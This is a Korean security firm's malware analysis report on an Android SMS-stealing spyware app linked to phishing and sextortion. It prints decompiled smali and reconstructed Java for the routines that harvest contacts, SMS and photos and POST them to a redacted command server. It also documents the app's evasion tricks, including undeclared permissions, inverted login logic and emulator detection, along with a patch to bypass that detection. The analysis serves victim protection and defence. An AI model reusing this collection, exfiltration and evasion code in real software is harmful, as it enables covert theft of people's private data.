분석일: 2026-02-12 ~ 2026-02-13
분석자: 주식회사 아크링크 ([비공개] .ai, deep-scan.ai)
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석
보고서 버전: v4.0 (ML Gold Standard 심층 재분석 + 바이트코드 레벨 확장)
총 분석 Phase: 22
항목 · 내용
**파일명** · 173724837059-****-****.apk (ze)
**표시 이름** · ze
**패키지명** · com.sdjkjk4jexc.dkjsdk7iosda
**내부 패키지** · com.xyx.sms
**앱 패밀리** · Wavegrid Gen3 (SMS) - **프로토타입**
**Compile SDK** · 34 (Android 14)
**Target SDK** · 34 (Android 14)
**프레임워크** · Java + OkHttp3 (난독화) + FastJSON + Gson + Huawei ScanKit + ML Kit + BlankJ
**난독화 수준** · **부분 난독화** (유틸 클래스 → a/b/c, OkHttp → q4/*, 핵심 패키지 com.xyx.sms 유지)
**위협 등급** · **EXTREME**
컴포넌트 · 클래스명 · 역할
**Application** · com.xyx.sms.BaseApp · 앱 초기화
**Launcher** · com.xyx.sms.LoginActivity (exported=true) · 초대코드 로그인
**Main** · com.xyx.sms.MainActivity · 메인 화면
**Contact** · com.xyx.sms.ContactActivity · 연락처 표시
**Album** · com.xyx.sms.AlbumActivity · 앨범 표시
**Upload** · com.xyx.sms.UploadActivity · 데이터 업로드 핵심
**Service** · com.xyx.sms.servise.UploadService (exported=true, priority=1000) · SMS 지속 수집
ze의 핵심 특징은 유틸 클래스가 난독화되어 있다는 점이다. Flirting_138에서는 이 클래스들이 원본 이름을 유지한다.
난독화 이름 · 원본 (.source) · 역할 · Flirting_138 대응
`h4/c.smali` · HttpUtils.java · C2 통신 (POST) · `com/xyx/sms/utils/HttpUtils.smali`
`h4/d.smali` · ReadContactUtils.java · 연락처/SMS/이미지 수집 · `com/xyx/sms/utils/ReadContactUtils.smali`
`h4/e.smali` · SPUtils.java · SharedPreferences 관리 · `com/xyx/sms/utils/SPUtils.smali`
`g4/a.smali` · (CountDownTimer) · SMS 5초 루프 타이머 · UploadService 내장
`q4/*` · OkHttp3 내부 · HTTP 클라이언트 · okhttp3 패키지
`w/a.smali` · (ContextCompat) · 권한 체크 · AndroidX
`c0/m.smali` · DialogUtil · 다이얼로그 유틸 · `com/xyx/sms/utils/DialogUtil`
# · 권한 · 위험도 · 악용 목적
1 · `READ_CONTACTS` · **Critical** · 연락처 전체 탈취
2 · `READ_PHONE_STATE` · **High** · 기기 정보 수집
3 · `READ_PHONE_NUMBERS` · **High** · 전화번호 자동 수집
4 · `READ_EXTERNAL_STORAGE` · **High** · 이미지/파일 접근
5 · `READ_MEDIA_IMAGES` · **High** · 이미지 탈취 (API 33+)
6 · `READ_MEDIA_AUDIO` · **High** · 오디오 접근 (API 33+)
7 · `READ_MEDIA_VIDEO` · **High** · 비디오 접근 (API 33+)
8 · `INTERNET` · Normal · 네트워크 통신
9 · `ACCESS_NETWORK_STATE` · Normal · 네트워크 상태 확인
Flirting_138과 동일하게 AndroidManifest에 선언하지 않고 런타임에만 요청하는 권한이 발견됨:
권한 · 요청 위치 · Manifest 선언
`READ_SMS` · LoginActivity.onRequestPermissionsResult(), UploadActivity.onActivityResult() · **미선언**
`READ_PHONE_NUMBERS` · LoginActivity.onRequestPermissionsResult(), UploadActivity.onActivityResult() · 선언됨
READ_SMS가 Manifest에 미선언 — 정적 분석 도구(Virustotal 등)가 SMS 수집 기능을 탐지하지 못하게 하는 회피 기법.
```
LoginActivity.onRequestPermissionsResult (requestCode=0x64):
1. READ_SMS 체크
2. READ_PHONE_NUMBERS 체크
3. READ_CONTACTS 체크
4. READ_PHONE_STATE 체크
UploadActivity.onActivityResult (requestCode별):
0x64: READ_PHONE_NUMBERS → READ_CONTACTS → READ_EXTERNAL_STORAGE → READ_PHONE_STATE → x() 호출
0x65: READ_SMS → v() (SMS 업로드)
0x66: READ_CONTACTS → u() (연락처 업로드)
0x6A: READ_EXTERNAL_STORAGE → t() (앨범 업로드)
```
항목 · 수량
**총 smali 파일** · 4,352개
**DEX 파일** · 1개 (단일 DEX)
**핵심 클래스 (com/xyx/sms/)** · 33개
**bean 클래스** · 8개 (ContactBean, SmsBean, NewsBean, WeatherBean 등)
**Activity** · 5개 (Login, Main, Contact, Album, Upload)
**Service** · 1개 (UploadService)
항목 · ze · Flirting_138
**총 smali 파일** · 4,352 · 7,484 (smali/ + smali_classes2/)
**DEX 수** · 1 (단일) · 2 (멀티덱스)
**Compile SDK** · 34 · 32
**난독화** · 유틸 클래스 난독화 (h4/, g4/, q4/) · 난독화 없음 (원본 클래스명)
**콜백 네이밍** · `$a$a$a$a` (알파벳) · `$1$1$1$1` (숫자)
**초대코드 로직** · **정상** (code==200=success) · **반전** (code!=200=success)
**SMS 수집** · 전체 (필터 코드 버그) · 전체 (필터 코드 없음)
**Huawei ScanKit** · [비공개] · [비공개] (동일)
**ML Kit** · [비공개] · [비공개] (동일)
```
com/xyx/sms/
├── a.smali # AlbumActivity 콜백 (난독화)
├── b.smali # UploadActivity 이미지 업로드 Runnable (난독화)
├── b$a.smali # b의 내부 콜백
├── BaseApp.smali # Application 클래스
├── BaseApp$a.smali # BaseApp 내부
├── LoginActivity.smali # 로그인 (초대코드)
├── LoginActivity$a.smali # onClick 핸들러
├── LoginActivity$a$a.smali # Thread (로그인 API)
├── LoginActivity$a$a$a.smali # OnSuccess 콜백
├── LoginActivity$a$a$a$a.smali # ★ 응답 처리 (정상 로직)
├── MainActivity.smali # 메인 화면
├── MainActivity$a.smali # 내부 클래스
├── MainActivity$b.smali # 내부 클래스
├── MainActivity$c.smali # 내부 클래스
├── ContactActivity.smali # 연락처 표시
├── ContactActivity$a.smali # 내부 클래스
├── AlbumActivity.smali # 앨범 표시
├── AlbumActivity$a.smali # 내부 클래스
├── AlbumActivity$a$a.smali # 내부 클래스
├── AlbumActivity$a$b.smali # 내부 클래스
├── UploadActivity.smali # ★ 데이터 업로드 핵심
├── UploadActivity$a~$g.smali # 7개 내부 클래스
├── bean/
│ ├── ContactBean.smali # {name, number}
│ ├── SmsBean.smali # {content, date, displayName, path, type}
│ ├── OnSuccess.smali # 콜백 인터페이스
│ ├── NewsBean.smali # 뉴스 (위장 데이터)
│ ├── WeatherBean.smali # 날씨 (위장 데이터)
│ └── ...
└── servise/
└── UploadService.smali # ★ SMS 지속 수집 서비스
```
# · 메서드 · 데이터 소스 · 수집 데이터 · 특이점
1 · `b(Activity)` · ContactsContract.Phone.CONTENT_URI · 이름, 전화번호, contactId · 연락처 전체
2 · `c(Context)` · content://sms/ · 발신자, 날짜, 유형, 본문 · **1일 이내 필터**
3 · `a(Activity)` · MediaStore.Images.EXTERNAL_CONTENT_URI · 이미지 경로 · 전체 이미지
h4/d.c() 메서드의 바이트코드 레벨 재분석에서 중대한 정정 사항 발견:
기존 분석(v3.0): "1일 이내 제한이 있음"
정정(v4.0): Calendar 계산 코드는 존재하나 결과가 쿼리에 전달되지 않음 = 전체 SMS 수집
```smali
invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
move-result-object v1
const/4 v2, 0x5 # 5 = Calendar.DAY_OF_WEEK
const/4 v4, -0x1 # -1
invoke-virtual {v1, v2, v4}, Ljava/util/Calendar;->add(II)V
invoke-virtual {v1}, Ljava/util/Calendar;->getTimeInMillis()J
move-result-wide v1
invoke-static {v1, v2}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()
move-result-object v2 # v2 = ContentResolver (Calendar 결과 덮어씌움)
const/4 v5, 0x0 # selection = null ← WHERE 절 없음
const/4 v6, 0x0 # selectionArgs = null
const/4 v7, 0x0 # sortOrder = null
invoke-virtual/range {v2 .. v7}, ContentResolver;->query(...)
```
버그 메커니즘:
1. String.valueOf(timestamp) 호출 후 반환값을 캡처하는 move-result-object가 없음
2. 이후 getContentResolver() 결과가 v2에 저장되면서 타임스탬프 관련 레지스터 소실
3. query()의 selection 파라미터가 null로 전달 → WHERE 절 없이 전체 SMS 조회
결론: ze도 Flirting_138과 동일하게 전체 SMS를 수집함. Calendar 코드는 개발자의 "의도"만 남아있는 데드코드.
→ 진화 방향 재평가: ze(전체, 버그) ≈ Flirting_138(전체, 의도적) — SMS 수집 범위 차이 없음
메서드 · ContentProvider · projection · selection · WHERE 적용
`a()` 이미지 · MediaStore.Images.EXTERNAL_CONTENT_URI · null · null · **없음** (전체)
`b()` 연락처 · ContactsContract.Phone.CONTENT_URI · null · null · **없음** (전체)
`c()` SMS · content://sms/ · {address,date,type,body} · **null** · **없음** (전체, 버그)
3개 수집 메서드 모두 WHERE 절 없이 전체 데이터를 쿼리하는 동일 패턴.
h4/d.c()의 SMS 로깅에서 발견된 특이 패턴:
```smali
const-string v6, "address:${address},date:${date},type:${type},body:${body}"
```
이 문자열은 Kotlin의 String Template 문법 (${variable})이지만, smali(Java 바이트코드)에서는 문자열 치환이 작동하지 않는다. 실제 로그 출력:
```
TAG: address:${address},date:${date},type:${type},body:${body}010-**-**본문내용1
```
실제 변수 값은 StringBuilder.append()로 뒤에 이어붙여지지만, 템플릿 문자열 자체가 그대로 출력됨.
→ 개발자가 Kotlin 코드를 Java로 수동 변환하면서 Template 문법을 제거하지 않은 증거
```xml
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
```
Android 9+ (API 28)부터 기본적으로 cleartext(HTTP) 트래픽이 차단되지만, 이 설정으로 모든 도메인에 대해 HTTP 평문 통신을 명시적으로 허용.
항목 · 설정
cleartext 허용 · **모든 도메인** (base-config)
도메인 제한 · 없음 (domain-config 미사용)
인증서 고정 · 없음 (certificate pinning 미사용)
trust-anchors · 기본값 (시스템 인증서만)
→ Android 9+ 기기에서도 HTTP 평문으로 C2와 통신 가능. MITM 공격에 완전 취약.
h4/c.smali 전체 327줄 분석:
```java
// h4/c.smali 의사코드 복원 (327줄 → Java)
public class HttpUtils {
public static void a(String endpoint, Map<String,String> params, OnSuccess callback) {
OkHttpClient client = new OkHttpClient();
try {
// [1] MediaType 생성
MediaType mediaType = MediaType.parse("application/json; charset=utf-8");
// [2] Gson으로 요청 직렬화 (이중 직렬화!)
GsonBuilder builder = new GsonBuilder();
builder.serializeNulls = false; // iput-boolean v4, v3, ...->i:Z
Gson gson = builder.create();
String jsonBody = gson.toJson(params); // 1차 직렬화 → v5
// [3] RequestBody 생성
RequestBody body = RequestBody.create(mediaType, jsonBody);
// [4] 디버그 로그 (2차 직렬화)
String logBody = gson.toJson(params); // 동일 데이터 2번 직렬화
Log.d("TAG", logBody);
// [5] Request 빌드
Request request = new Request.Builder()
.url("[비공개] + endpoint)
.method("POST", body)
.build();
// [6] 동기 실행
Response response = client.newCall(request, false).execute();
// [7] HTTP 상태 코드 범위 체크
int code = response.code;
boolean success = (code >= 0xC8 && code < 0x12C); // 200 <= code < 300
if (success) {
// [8] FastJSON으로 응답 파싱 (요청은 Gson, 응답은 FastJSON!)
String responseBody = response.body().string();
Log.d("TAG", "返回=" + responseBody); // 중국어 로그
JSONObject json = JSON.parseObject(responseBody);
int serverCode = json.getInteger("code").intValue();
callback.onSuccess(serverCode, responseBody);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
핵심 발견 6가지:
# · 발견 · 위치 · 의미
1 · **이중 직렬화** · Lines 88, 104 · 동일 데이터를 Gson.toJson() 2번 호출 (비효율)
2 · **Gson+FastJSON 이중 사용** · Lines 64-68 (Gson), Line 276 (FastJSON) · 요청=Gson, 응답=FastJSON (코드 복붙 흔적)
3 · **중국어 로그** · Line 249 · `"返回="` (반환=) - 개발자 1차 언어 중국어 확증
4 · **200-299 범위 체크** · Lines 204-220 · `0xC8 ≤ code < 0x12C` 2단계 조건
5 · **serializeNulls 비활성화** · Line 76 · null 필드 전송 안 함
6 · **동기 HTTP** · Line 184 · 백그라운드 Thread에서 직접 실행 (비동기 아님)
이미지 업로드는 h4/c.smali의 JSON POST와 다른 Multipart POST 방식:
```smali
const-string v5, "[비공개]
const-string v6, "file" # 파트명
invoke-static {v7, v8, v9}, ... # RequestBody.create(mediaType, file)
const-string v10, "other_field"
const-string v11, "value" # ★ 튜토리얼 코드 잔재!
```
other_field: "value" = OkHttp Multipart 튜토리얼 코드를 그대로 복사한 증거.
OkHttp 공식 문서 및 다수 블로그의 Multipart 예제에서 동일 패턴 확인.
```
┌─────────────────────────────┐
│ UploadActivity.x() │
│ TelephonyManager │
│ .getLine1Number() → 전화번호 │
└──────┬──────────┬────────────┘
│ │
┌──────▼──┐ ┌────▼──────┐
│ u() │ │ t() │
│연락처 │ │ 앨범 │
│업로드 │ │ 업로드 │
└──────┬──┘ └────┬──────┘
│ │
┌────────────▼──────────▼──────────────┐
│ h4/c.a() = HttpUtils │
│ POST → [비공개] │
└──────────────────────────────────────┘
│
┌────────────▼──────────────┐
│ UploadService (START_STICKY) │
│ CountDownTimer(5000ms) │
│ → SMS 재수집 무한 루프 │
└─────────────────────────────┘
```
연락처 업로드 (u() → UploadActivity$f):
```json
{
> [비공개]
"model": "android",
"bjPhone": "<피해자 전화번호>",
"operatorName": "<통신사명>",
"phoneContent": "[{name, number}, ...]"
}
```
SMS 업로드 (v() → UploadActivity$g):
```json
{
> [비공개]
"bjPhone": "<피해자 전화번호>",
"content": "[{address, date, type, body}, ...]"
}
```
이미지 업로드 (t() → b.smali):
```
POST [비공개]
Content-Type: multipart/form-data
Body: {file: <이미지>, other_field: "value"}
```
항목 · 내용
**도메인** · [비공개]
**Base URL** · `[비공개]
**프로토콜** · HTTP (평문) — SSL 미사용
**프레임워크** · RuoYi (Spring Boot)
**API Prefix** · `[비공개]
**네트워크 보안** · network_security_config.xml (cleartext 허용)
# · 메소드 · 엔드포인트 · 용도 · 발견 위치
1 · POST · `[비공개] · 초대코드 로그인 · LoginActivity$a$a.smali
2 · POST · `[비공개] · 연락처+기기정보 탈취 · UploadActivity$f.smali
3 · POST · `[비공개] · SMS 탈취 · UploadActivity$g.smali
4 · POST · `[비공개] · 이미지 업로드 (multipart) · b.smali:152
앱 · 도메인 · TLD · Compile SDK · 초대코드 로직
**ze** (원형) · [비공개] · .xyz · 34 · **정상** (200=success)
**zine** (중간) · [비공개] · .xyz (web 접미사) · 31 · 미확인
**Flirting_138** (최신) · [비공개] · .monster · 32 · **반전** (200=failure)
```
Request:
Method: POST
URL: [비공개]
Content-Type: application/json; charset=utf-8
Body: Gson.toJson(Map) → JSON
Response:
HTTP Status: 200-299 (정상)
Body: JSON → FastJSON.parseObject()
핵심 필드: {code: Integer, msg: String}
콜백: OnSuccess.onSuccess(code, responseBody)
```
```
LoginActivity$a.onClick()
├─ 빈 입력 체크 → Toast 표시
├─ UUID 생성
├─ HashMap {name: 초대코드, cId: UUID}
└─ Thread 시작
└─ LoginActivity$a$a.run()
└─ h4/c.a("webapp/login", map, callback)
└─ LoginActivity$a$a$a.onSuccess(code, response)
└─ runOnUiThread
└─ LoginActivity$a$a$a$a.run()
├─ code == 200 → ★ SUCCESS
│ ├─ SPUtils.put("UUID", uuid)
│ ├─ SPUtils.put("invite_code", code)
│ ├─ SPUtils.put("is_first", true)
│ ├─ Toast("success")
│ └─ → UploadActivity
└─ code != 200 → FAILURE
└─ Toast(JSON.msg)
```
ze (LoginActivity$a$a$a$a.smali):
```smali
iget v0, p0, ...->a:I # v0 = code
const/16 v2, 0xc8 # v2 = 200
if-ne v0, v2, :cond_1 # code != 200 → cond_1 (FAILURE)
```
Flirting_138 (LoginActivity$1$1$1$1.smali):
```smali
iget v0, p0, ...->val$code:I # v0 = code
const/16 v1, 0xc8 # v1 = 200
if-eq v0, v1, :cond_0 # code == 200 → cond_0 (FAILURE!)
```
항목 · ze (원형) · Flirting_138 (진화형)
**조건문** · `if-ne` (≠) · `if-eq` (=)
**200 의미** · SUCCESS ✅ · FAILURE ❌
**비200 의미** · FAILURE ❌ · SUCCESS ✅
**분석 난이도** · 표준 (예측 가능) · **반직관적** (분석 회피)
결론: ze → Flirting_138 진화 과정에서 초대코드 검증 로직이 의도적으로 반전됨.
이는 분석가 회피 기법으로, 정적 분석에서 "code==200이면 성공"이라는 통상적 기대를 뒤엎어 분석을 어렵게 만든다.
# · 방어기제 · 구현 · 우회 방법 · 상태
1 · **초대코드 검증** · LoginActivity → h4/c.a("webapp/login") · 코드 입력 후 서버 응답 분석 · 분석 완료
2 · **에뮬레이터 탐지** · BlankJ DeviceUtils.isEmulator() · smali 패치: const/4 v0, 0x0; return v0 · 우회 가능
3 · **부분 난독화** · 유틸 클래스 h4/, g4/, q4/ 등 · .source 태그로 원본 식별 · 해독 완료
4 · **is_first 재진입 방지** · SPUtils("is_first") → 로그인 스킵 · SharedPreferences 초기화 · 우회 가능
5 · **is_upload 중복 방지** · SPUtils("is_upload") → 업로드 비활성화 · XOR 반전 (xor-int/lit8 p1, p1, 0x1) · 분석 완료
UploadActivity.onCreate()에서 is_upload 상태를 확인하는 흥미로운 패턴:
```smali
invoke-static {p1, v1, v0}, Lh4/e;->a(Context, "is_upload", Boolean.FALSE)
move-result-object p1
check-cast p1, Ljava/lang/Boolean;
invoke-virtual {p1}, Ljava/lang/Boolean;->booleanValue()Z
move-result p1
xor-int/lit8 p1, p1, 0x1 # p1 = p1 XOR 1 (비트 반전)
invoke-virtual {v0, p1}, Landroid/widget/TextView;->setEnabled(Z)V
```
XOR 반전 로직:
is_upload 값 · XOR 0x1 결과 · 버튼 상태 · 의미
`false` (0) · 0 XOR 1 = **1** · **활성화** · 아직 업로드 안 함 → 업로드 가능
`true` (1) · 1 XOR 1 = **0** · **비활성화** · 이미 업로드함 → 재업로드 차단
이는 if-eqz/if-nez 조건문 대신 XOR 비트 연산으로 동일 효과를 구현한 것.
→ 개발자가 다른 코드에서 복사해온 패턴으로 추정 (불필요한 복잡성)
ze의 전체 상태 관리는 share_data SharedPreferences 하나에 의존:
```
┌─────────── share_data ───────────┐
│ │
│ UUID = "randomUUID" │ → 기기 식별자
│ invite_code = "입력한 코드" │ → C2 식별용 userName
│ is_first = true/false │ → 로그인 재진입 방지
│ is_upload = true/false │ → 중복 업로드 방지
│ │
└───────────────────────────────────┘
```
상태 전이 다이어그램:
```
[최초 설치] [로그인 성공] [업로드 완료]
is_first=false ──LOGIN──→ is_first=true ──UPLOAD──→ is_upload=true
UUID=null UUID=randomUUID (버튼 비활성화)
invite_code="" invite_code=입력값
```
h4/e.smali 구현 상세 (470줄):
SPUtils.a() (GET) - 6-type instanceof 디스패치:
```
p2 instanceof String? → SharedPreferences.getString()
p2 instanceof Integer? → SharedPreferences.getInt() → Integer.valueOf()
p2 instanceof Boolean? → SharedPreferences.getBoolean() → Boolean.valueOf()
p2 instanceof Float? → SharedPreferences.getFloat() → Float.valueOf()
p2 instanceof Long? → SharedPreferences.getLong() → Long.valueOf()
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr